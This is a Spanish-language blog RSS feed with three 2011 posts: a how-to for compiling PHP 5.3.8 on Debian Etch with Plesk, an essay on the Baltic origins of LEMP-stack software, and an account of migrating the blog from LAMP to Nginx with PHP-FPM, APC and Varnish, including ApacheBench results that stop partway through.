<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PHP &#8211; Tecnología y Negocios</title>
	<atom:link href="https://volkanrivera.com/esp/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>https://volkanrivera.com/esp</link>
	<description>Internet y negocios con tecnologías de la información.</description>
	<lastBuildDate>Tue, 29 Mar 2016 13:38:42 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>PHP 5.3.8 en Etch con Plesk 8.2</title>
		<link>https://volkanrivera.com/esp/2011/09/php-5-3-8-en-etch-con-plesk-8-2/</link>
					<comments>https://volkanrivera.com/esp/2011/09/php-5-3-8-en-etch-con-plesk-8-2/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Sat, 24 Sep 2011 17:39:55 +0000</pubDate>
				<category><![CDATA[Ingeniería]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=3381</guid>

					<description><![CDATA[T&#250; ya sabes de seguro que WordPress desde su version 3.2 rompi&#243; completamente con las versiones de PHP menores a 5.2.4, y esto a aquellos que tienen compa&#241;&#237;as de hosting ha tra&#237;do algunos retos especialmente dado a que algunos software propietarios de control panels para hosting, caso espec&#237;fico de Plesk tienen un sistema de licencias [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>T&uacute; ya sabes de seguro que WordPress desde su version 3.2 rompi&oacute; completamente con las versiones de PHP menores a 5.2.4, y esto a aquellos que tienen compa&ntilde;&iacute;as de hosting ha tra&iacute;do algunos retos especialmente dado a que algunos software propietarios de control panels para hosting, caso espec&iacute;fico de Plesk tienen un sistema de licencias ilimitado que est&aacute; amarrado a la versi&oacute;n. Cuando pagas miles de d&oacute;lares por un software no esperas estar pagando otra vez miles de d&oacute;lares cada 2 a&ntilde;os, as&iacute; que la infraestructura usualmente se mantiene bastante tiempo y este tipo de cambios disruptivos de la compatibilidad con versiones anteriores suele ser un problema para los sysadmin. En este post les contar&eacute; como enfrent&eacute; y resolv&iacute; el problema en caso les sirva a otros que est&eacute;n en igual situaci&oacute;n.</p>
<p><span id="more-3381"></span></p>
<p>En el caso particular en que me encontraba era con un Plesk 8.2.1 instalado en Etch (Debian 4.0) que alojaba varios websites que requer&iacute;an una actualizaci&oacute;n de WordPress que mostraban el mensaje de la necesaria actualizaci&oacute;n a PHP 5.2.4. En la <a href="http://kb.parallels.com/1762" target="_blank">base de conocimiento de Parallels</a> encontr&eacute; como actualizar el PHP 4.4.4-8+etch6 que tiene por defecto dicha version a un m&aacute;s nuevo PHP 5.2.0-8+etch16, sin embargo a&uacute;n no era suficiente y lo &uacute;nico que quedaba era instalar manualmente la version de PHP que necesitaba, pero dado que la 5.2.4 est&aacute; tambi&eacute;n un poco antiguo y dado que igual es instalar esa que la m&aacute;s nueva, pues decid&iacute; ir por la estable m&aacute;s reciente 5.3.8.</p>
<p>Un problema inicial es que si alg&uacute;n paquete no lo ten&iacute;as instalado en tu Etch debido a que es una versi&oacute;n abandonada en Debian, los repositorios oficiales no contendr&aacute;n los paquetes de dicha distribuci&oacute;n, as&iacute; que para resolver este problema debes de cambiar tus repositiorios a estos:</p>
<blockquote>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">#<br />
		#&nbsp; /etc/apt/sources.list<br />
		#</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">#<br />
		# etch<br />
		#<br />
		deb&nbsp;&nbsp;&nbsp;&nbsp; http://archive.debian.org/debian&nbsp;&nbsp;&nbsp;&nbsp; etch main contrib non-free<br />
		deb-src http://archive.debian.org/debian&nbsp;&nbsp;&nbsp;&nbsp; etch main contrib non-free</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">#<br />
		#&nbsp; Security updates<br />
		#<br />
		deb&nbsp;&nbsp;&nbsp;&nbsp; http://archive.debian.org/debian-security etch/updates&nbsp; main contrib non-free<br />
		deb-src http://archive.debian.org/debian-security etch/updates&nbsp; main contrib non-free</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">#<br />
		# Plesk repository<br />
		#<br />
		deb http://autoinstall.plesk.com/debian/PSA_8.2.1 etch all</span></span></span></strong></p>
</blockquote>
<p>Importante es que luego de que hayas editado tu archivo de sources (/etc/apt/sources.list) ejecutes un: apt-get update</p>
<p>Ahora, antes de compilar desde las fuentes debemos de instalar estos paquetes que son necesarios, recuerda hacerlo como root:</p>
<blockquote>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">apt-get install build-essential<br />
		apt-get install re2c<br />
		apt-get install apache2-prefork-dev<br />
		apt-get install libmysql++-dev libmysqlclient15-dev<br />
		apt-get install libcurl3-dbg libcurl3-dev libcurl3-openssl-dev<br />
		apt-get install libgd2-xpm-dev<br />
		apt-get install libcurl3-openssl-dev libssl-dev<br />
		apt-get install libc-client2002edebian libc-client-dev</span></span></span></strong></p>
</blockquote>
<p>Cuando todos los paquetes han sido instalados (se cuidadoso de que ninguno reporte errores), podemos proceder a instalar manualmente nuesto PHP 5.3.8 de la siguiente manera, como usuario root:</p>
<blockquote>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">cd /usr/src</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">wget http://www.php.net/get/php-5.3.8.tar.gz/from/us2.php.net/mirror</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">tar -zxvf php-5.3.8.tar.gz</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">cd php-5.3.8</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">./configure &#8211;with-apxs2=/usr/bin/apxs2 &#8211;with-mysql &#8211;with-curl &#8211;with-gd &#8211;with-openssl &#8211;with-imap &#8211;with-jpeg-dir &#8211;with-png-dir &#8211;with-xpm-dir&nbsp;&#8211;with-imap-ssl &#8211;with-kerberos&nbsp;&#8211;with-zlib</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">make</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">make install</span></span></span></strong></p>
<p><strong><span style="color:#0000cd;"><span style="font-size: 11px;"><span style="font-family: courier new,courier,monospace;">/etc/init.d/apache2 restart</span></span></span></strong></p>
</blockquote>
<p>Luego de eso tenemos nuestro PHP actualizado en el veterano Plesk 8.2.1 corriendo sobre Etch. Lo &uacute;nico realmente complicado en llegar a encontrar todas las dependencias necesarias, pero como esto ya lo he hecho aqu&iacute;, si se sigue este tutorial paso a paso debemos tener actualizado nuestro PHP en pocos minutos. Espero que este mini-howto les haya ayudado y que me sirva tambi&eacute;n a mi en el futuro si necesito hacerlo otra vez.</p>
<p><u><strong>UPDATE</strong></u>: Un usuario me report&oacute; que no pod&iacute;a accesar al webmail y encontr&eacute; la soluci&oacute;n a dicho problema en los <a href="http://forum.parallels.com/showthread.php?t=76327" target="_blank">Forums de Plesk</a>. No llega a ser una soluci&oacute;n completa, es m&aacute;s un arreglo r&aacute;pido que consiste en editar el archivo &quot;<strong>/etc/apache2/conf.d/zz010_psa_httpd.conf</strong>&quot; y reemplazar todos las ocurrencias del string:</p>
<p><strong><span style="color:#0000cd;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">php_admin_value include_path &quot;/usr/share/psa-horde:/usr/share/psa-horde/pear:.&quot;</span></span></span></strong></p>
<p>por el string:</p>
<p><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;"><span style="color:#0000cd;"><strong>php_admin_value include_path &quot;/usr/share/psa-horde/lib:/usr/share/psa-horde:/usr/share/psa-horde/pear:.&quot;</strong></span></span></span></p>
<p>Posteriormente reiniciar el apache: <strong><span style="color:#0000cd;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">/etc/init.d/apache2 restart</span></span></span></strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2011/09/php-5-3-8-en-etch-con-plesk-8-2/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Ingenio americano</title>
		<link>https://volkanrivera.com/esp/2011/09/ingenio-americano/</link>
					<comments>https://volkanrivera.com/esp/2011/09/ingenio-americano/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Tue, 13 Sep 2011 14:10:17 +0000</pubDate>
				<category><![CDATA[Ingeniería]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=3326</guid>

					<description><![CDATA[T&#250; probablemente hayas escuchado la frase anteriormente. Esta hace referencia a la gran inventiva exhibida por los Estados Unidos de Am&#233;rica desde mediados del siglo XIX hasta nuestros d&#237;as. Inventos que crearon verdaderas revoluciones tecnol&#243;gicas como el tel&#233;grafo, el tel&#233;fono, el avi&#243;n, la producci&#243;n en serie y un largo etc&#233;tera que transformaron completamente a las [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>T&uacute; probablemente hayas escuchado la frase anteriormente. Esta hace referencia a la gran inventiva exhibida por los Estados Unidos de Am&eacute;rica desde mediados del siglo XIX hasta nuestros d&iacute;as. Inventos que crearon verdaderas revoluciones tecnol&oacute;gicas como el tel&eacute;grafo, el tel&eacute;fono, el avi&oacute;n, la producci&oacute;n en serie y un largo etc&eacute;tera que transformaron completamente a las sociedades occidentales. En nuestros d&iacute;as este &quot;<strong>ingenio americano</strong>&quot;, est&aacute; representado por Microsoft, Apple, Yahoo, Google, Facebook o Twitter, todas compa&ntilde;&iacute;as de software que es la &uacute;ltima frontera en lo que a innovaci&oacute;n se refiere. Igualmente hay voces que anuncian el final de esa era y profetizan el advenimiento de un nuevo polo de innovaci&oacute;n desde donde saldr&aacute;n las nuevas tecnolog&iacute;as que redefiniran el siglo XXI, algunos est&aacute;n se&ntilde;alando a China o los pa&iacute;ses de la regi&oacute;n Asia-Pac&iacute;fico como el siguiente motor del desarrollo, pero si el futuro est&aacute; atado al software probablemente sea otra la regi&oacute;n del mundo a la que debamos mirar con m&aacute;s atenci&oacute;n.</p>
<p><span id="more-3326"></span>Luego de haber hecho la migraci&oacute;n <a href="http://www.volkanrivera.com/esp/?p=3302" target="_blank">de LAMP a LEMP</a>, que ha permitido a este blog escalar mucho mejor y usar m&aacute;s eficientemente los recursos que tiene he ca&iacute;do en la cuenta que todos los componente que he usado para optimizar el blog (exceptuando oviamente al propio WordPress), tienen su origen fuera de los Estados Unidos. Coincidentemente todos ellos vienen de una regi&oacute;n en particular el <a href="http://es.wikipedia.org/wiki/Mar_B%C3%A1ltico" target="_blank">B&aacute;ltico</a>, los pa&iacute;ses que forman parte de esta region son&nbsp;&nbsp;<a href="http://es.wikipedia.org/wiki/Suecia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Suecia">Suecia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Finlandia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Finlandia">Finlandia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Rusia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Rusia">Rusia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Estonia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Estonia">Estonia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Letonia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Letonia">Letonia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Lituania" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Lituania">Lituania</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Polonia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Polonia">Polonia</a>,&nbsp;<a href="http://es.wikipedia.org/wiki/Alemania" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Alemania">Alemania</a>&nbsp;y&nbsp;<a href="http://es.wikipedia.org/wiki/Dinamarca" style="text-decoration: underline; color: rgb(250, 167, 0); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; " target="_blank" title="Dinamarca">Dinamarca</a>.</p>
<p>Demos un repaso a todos los componentes que existen en LEMP (Linux, Nginx, MySQL, PHP) y los componentes extras usados para optimizar como APC, PHP-FPM y Varnish:</p>
<p><strong>Linux</strong>: El kernel desarrollado por Linus Torvalds mientras estudiaba en la Universidad de Helsinki (Finlandia), aunque ahora tiene miles de colaboradores de todas partes del mundo y la gran mayor&iacute;a est&aacute; en los Estados Unidos, tiene su origen primigenio en Finlandia.</p>
<p><strong>Nginx</strong>: El peque&ntilde;o y &aacute;gil servidor web creado por <a href="http://en.wikipedia.org/wiki/Igor_Sysoev" target="_blank">Igor Sysoev</a>, tiene su origen en un ISP ruso que es otro de los pa&iacute;ses que forman parte de la regi&oacute;n del B&aacute;ltico.</p>
<p><strong>MySQL</strong>: Creado por la empresa Sueca MySQL AB, que fuera fundada por&nbsp;Michael Widenius y&nbsp;David Axmark en 1995. Aunque ahora pertenece a la multinacional estadounidense Oracle luego de que esta comprara a Sun Microsystem, que hab&iacute;a adquirido por mil millones de d&oacute;lares a MySQL AB. Pero el origen de la base de datos m&aacute;s popular en aplicaciones web es sueco.</p>
<p><strong>PHP</strong>: Dise&ntilde;ado en 1995 por&nbsp;<a href="http://en.wikipedia.org/wiki/Rasmus_Lerdorf" target="_blank">Rasmus Lerdorf</a>, un programador de origen dan&eacute;s, aunque ahora tiene nacionalidad canadiense es otro componente fundamental del stack LEMP que tiene sus or&iacute;genes en el B&aacute;ltico. Aunque ahora PHP ha evolucionado al igual que todos los dem&aacute;s componentes descritos aqu&iacute;, es claro que la idea y desarrollo original ocurri&oacute; fuera de los Estados Unidos.</p>
<p><strong>APC</strong>: Es un compilador-cache de c&oacute;ddigo PHP desarrollado por la misma gente que est&aacute; detras de PHP, incluyendo a Rasmus Lerdorf.</p>
<p><strong>PHP-FPM</strong>: Es un servidor que procesa llamadas FastCGI de un servidor web. Creado originalmente por&nbsp;Andrei Nigmatulin, un programador ruso que necesitaba una forma confiable de correr scripts PHP en modo CGI.</p>
<p><strong>Varnish</strong>: Que es un proxy-inverso/cache dise&ntilde;ado desde el principio como un acelerador de websites con contenido din&aacute;mico tiene un origen noguero (fue desarrollado para un peri&oacute;dico noruego). Varnish fue creado por&nbsp;Poul-Henning Kamp, un muy conocido desarrollador de FreeBSD que es de origen dan&eacute;s. Es decir la emrpesa para la que se desarrollo el proyecto era de Noruega, pero el programador que lo creo es de Dinamarca, otro pa&iacute;s de la regi&oacute;n del B&aacute;ltico.</p>
<p>As&iacute; que si tenemos que adivinar de donde vendr&aacute; el siguiente producto revolucionario, pues ser&iacute;a una apuesta segura buscarlo en el B&aacute;ltico y no necesariamente a Silicon Valley.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2011/09/ingenio-americano/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>De LAMP a LEMP</title>
		<link>https://volkanrivera.com/esp/2011/09/de-lamp-a-lemp/</link>
					<comments>https://volkanrivera.com/esp/2011/09/de-lamp-a-lemp/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Sun, 11 Sep 2011 13:11:11 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=3302</guid>

					<description><![CDATA[Ud. probablemente ya sabe lo que es LAMP (Linux Apache MySQL PHP) el stack sobre el que corren los m&#225;s populares CMS Open Source como Drupal, Joomla o WordPress, pero probablemente a&#250;n no haya escuchado de LEMP (Linux Nginx MySQL PHP), ya que incluso en Wikipedia el t&#233;rmino a&#250;n no est&#225; definido. La diferencia es [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ud. probablemente ya sabe lo que es <a href="http://es.wikipedia.org/wiki/LAMP" target="_blank">LAMP</a> (Linux Apache MySQL PHP) el stack sobre el que corren los m&aacute;s populares CMS Open Source como <a href="http://es.wikipedia.org/wiki/Drupal" target="_blank">Drupal</a>, <a href="http://es.wikipedia.org/wiki/Joomla" target="_blank">Joomla</a> o <a href="http://es.wikipedia.org/wiki/WordPress" target="_blank">WordPress</a>, pero probablemente a&uacute;n no haya escuchado de LEMP (Linux Nginx MySQL PHP), ya que incluso en Wikipedia el t&eacute;rmino a&uacute;n no est&aacute; definido. La diferencia es pues el servidor web. La idea detras de LEMP es muy simple reemplazar el muy flexible y casi omnipresente servidor <a href="http://es.wikipedia.org/wiki/Servidor_HTTP_Apache" target="_blank">Apache</a>&nbsp;por el m&aacute;s liviano y &aacute;gil&nbsp;<a href="http://es.wikipedia.org/wiki/Servidor_HTTP_Apache" target="_blank">Nginx</a>. Si esa fuera la &uacute;nica diferencia, pues no valdr&iacute;a la pena el cambio. Pero que pensar&iacute;a si le dijera que hacer ese cambio puede transformar radicalmente la performance de su p&aacute;gina web y permitir que por ejemplo con un peque&ntilde;o <a href="http://en.wikipedia.org/wiki/Virtual_private_server" target="_blank">VPS</a> se pueda atender decenas de miles de visitas diarias. Pues bien en este post les contar&eacute; la historia destras de la migraci&oacute;n de LAMP a LEMP y como este blog pudo reducir incre&iacute;blemente su tiempo de carga.</p>
<p><span id="more-3302"></span></p>
<p>Durante mucho tiempo la escalabilidad del blog era un problema que me ten&iacute;a preocupado, siempre tem&iacute;a que por alguna raz&oacute;n un post llegara a ser popular y miles de visitantes saturen el server y lo traingan al piso. Algo que no ha pasado, pero que muchos calificar&iacute;an como un problema que les gustar&iacute;a tener. Por ello durante estos &uacute;ltimos a&ntilde;os ensay&eacute; varias posibles soluciones, evalu&eacute; moverlo a <a href="http://en.wikipedia.org/wiki/Blogger_(service)" target="_blank">Blogger</a> (pero era muy limitado, igual en los picos Blogger te limitaba el tr&aacute;fico), prob&eacute; con la optimizaci&oacute;n del Apache, del MySQL, instal&eacute; el&nbsp;<a href="http://eaccelerator.net/" target="_blank">eAccelerator</a> para compilar-cachear los scripts de PHP, hice pruebas de varios plugins de cacheo para WordPress y finalmente me qued&eacute; con&nbsp;<a href="http://wordpress.org/extend/plugins/w3-total-cache/" target="_blank">W3 Total Cache</a> y l&oacute;gicamente cada mejora implicaba hacer benchmarking del site con las herramientas que describ&iacute; en el post &quot;<a href="http://www.volkanrivera.com/esp/?p=2713" target="_blank">Midiendo la performance de un website</a>&quot;. Sin embargo nada de eso parec&iacute;a resolver el problema de que si m&aacute;s visitantes llegaban era necesario disponer de m&aacute;s RAM y m&aacute;s CPU. Es decir la escalabilidad se consegu&iacute;a s&oacute;lo a trav&eacute;s de poner m&aacute;s hardware (en el caso de los VPS hacer un pago extra para poder acceder a m&aacute;s recursos). Pero desde el 2009 el nombre Nginx ya era comentado entre la cofrad&iacute;a de sysadmin y muchos ISP lo usaban para hostear websites, pero ten&iacute;a un peque&ntilde;o incoveniente, s&oacute;lo soportaba PHP a trav&eacute;s de FastCGI y usar PHP de esta manera requer&iacute;a de&nbsp;spawn-fcgi y lamentablemente exist&iacute;a un problema de confiabilidad (se ca&iacute;a muy frecuentemente).</p>
<p>El problema de&nbsp;spawn-fcgi era tan serio que Andrei Nigmatulin&nbsp;creo <a href="http://php-fpm.org/" target="_blank">PHP-FPM</a> como un parche al c&oacute;digo de PHP para permitirle operar de manera confiable sin tener que depender de spawn-fcgi. Lo cual era una soluci&oacute;n pero requer&iacute;a parchar el c&oacute;digo de PHP, esto era desde mi punto de vista poco confiable porque no ten&iacute;a la certeza de que el proyecto podr&iacute;a tener larga vida, especialmente luego de que su creador declarara p&uacute;blicamente que no pod&iacute;a darle soporte por m&aacute;s tiempo. Pero desde noviembre del a&ntilde;o pasado el c&oacute;digo de PHP-FPM pas&oacute; a formar parte del core de PHP, con lo cual ya se pod&iacute;a usar de manera confiable en producci&oacute;n porque la continuidad estaba garantizada por la propia continuidad de PHP.</p>
<p>Finalmente animado por todos los buenos comentarios de Nginx y de PHP-FPM, decid&iacute; probarlos. Debo decir que no me ha decepcionado, el uso de CPU y RAM fue casi plano independientemente de la carga que se le ponga al server, pero el s&oacute;lo hecho de reemplazar LAMP con LEMP no mejora la velocidad con la que se muestran las p&aacute;ginas de WordPress. Despu&eacute;s de todo ten&iacute;a mi LAMP optimizado para mi WordPress y lo estaba comparado contra un LEMP de paquete. As&iacute; que era necesario nivelar el piso a trav&eacute;s de la optimizaci&oacute;n de LEMP.</p>
<p>La primera y obvia mejora era usar un compilador-cache para PHP, hab&iacute;a usado eAccelerator en LAMP y me ha funcionado bien, pero en todas las p&aacute;ginas que encontr&eacute; todas mencionaban a <a href="http://pecl.php.net/package/APC" target="_blank">APC</a> (las dos razones m&aacute;s citadas son que es parte de los repositorios PEAR y que Facebook lo usa), as&iacute; que decid&iacute; seguir a la mayor&iacute;a e instale APC. La compilaci&oacute;n y cacheo de los scripts definitivamente mejor&oacute; la velocidad de rederizado de las p&aacute;ginas pero a&uacute;n se pod&iacute;a optmizar un poco m&aacute;s. As&iacute; que instal&eacute; <a href="http://www.memcached.org/" target="_blank">memcache</a>&nbsp;(para reducir el n&uacute;mero de queries a MySQL) y habilit&eacute; el soporte de memcache en WordPress, lo cu&aacute;l le dio un boost adicional a la carga de las p&aacute;ginas.</p>
<p>Pero moviendome de tutorial en tutorial encontr&eacute; a <a href="https://www.varnish-cache.org/" target="_blank">Varnish</a>, un proxy inverso que hace cacheo de contenido est&aacute;tico, es decir guarda en disco/memoria las p&aacute;ginas generadas din&aacute;micamente por WordPress para no tener que volver a ejecutar un script si la p&aacute;gina ya est&aacute; cacheada y eso fue la cereza sobre el pastel, no solamente las p&aacute;ginas cargaban m&aacute;s r&aacute;pido sino que el uso de CPU y memoria se fueron al piso. Como resultado reduje la RAM del VPS de 1GB a 512MB con el ahorro que se deriva de ello, pero me he dado cuenta de que incluso con 256MB el VPS va bien. Pero de momento no tomar&eacute; riesgos y ver&eacute; que tal va durante el pr&oacute;ximo mes con 512MB, si veo que no hay picos y todo opera normalmente bajar&eacute; la memoria a 256MB.</p>
<p>Si deseran hacer lo mismo les recomiendo este howto de <a href="http://www.cryptkcoding.com/2011/08/running-wordpress-with-nginx-php-fpm-apc-and-varnish/" target="_blank">CryptkCoding</a> que sintetiza varios otros que he visto en la red y funciona para Ubuntu, aunque con peque&ntilde;os cambios tambien es &uacute;til para Debian. Si es que me doy un tiempo prepar&eacute; uno en espa&ntilde;ol espec&iacute;ficamente para Debian y lo publicar&eacute; en la secci&oacute;n de <a href="http://www.volkanrivera.com/esp/?page_id=11" target="_blank">Tutoriales y Howtos</a>.</p>
<p>Como prueba de los incre&iacute;blemente lineal de la mezcla LEMP + APC + memcache + Varnish, aqu&iacute; les dejo una gr&aacute;fica de Load Impact de un stress test a este blog y como el tiempo de carga es independiente del n&uacute;mero de clientes conectados concurrentemente:</p>
<p style="text-align: center; "><img decoding="async" alt="Load Impact" src="http://www.volkanrivera.com/esp/wp-content/uploads/2011/09/LoadImpact.png" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; width: 550px; height: 419px; " /></p>
<p>Aqu&iacute; el resultado de una prueba con <a href="http://httpd.apache.org/docs/2.0/programs/ab.html" target="_blank">Apache Benchmarking</a> (ab) desde otro server en el mismo switch (10,000 solicitudes con 100 clientes concurrentes), el benchmarking arroja la sorprendente velocidad de casi 3000 solicitudes por segundo:</p>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">~# ab -n 10000 -c 100 http://www.volkanrivera.com/esp/</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">This is ApacheBench, Version 2.3 <$Revision: 655654 $></span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Licensed to The Apache Software Foundation, http://www.apache.org/</span></span></span></div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Benchmarking www.volkanrivera.com (be patient)</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 1000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 2000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 3000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 4000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 5000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 6000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 7000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 8000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 9000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Completed 10000 requests</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Finished 10000 requests</span></span></span></div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Server Software: &nbsp; &nbsp; &nbsp; &nbsp;nginx/1.0.6</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Server Hostname: &nbsp; &nbsp; &nbsp; &nbsp;www.volkanrivera.com</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Server Port: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;80</span></span></span></div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Document Path: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/esp/</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Document Length: &nbsp; &nbsp; &nbsp; &nbsp;60689 bytes</span></span></span></div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Concurrency Level: &nbsp; &nbsp; &nbsp;100</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Time taken for tests: &nbsp; 3.403 seconds</span></span></span></div>
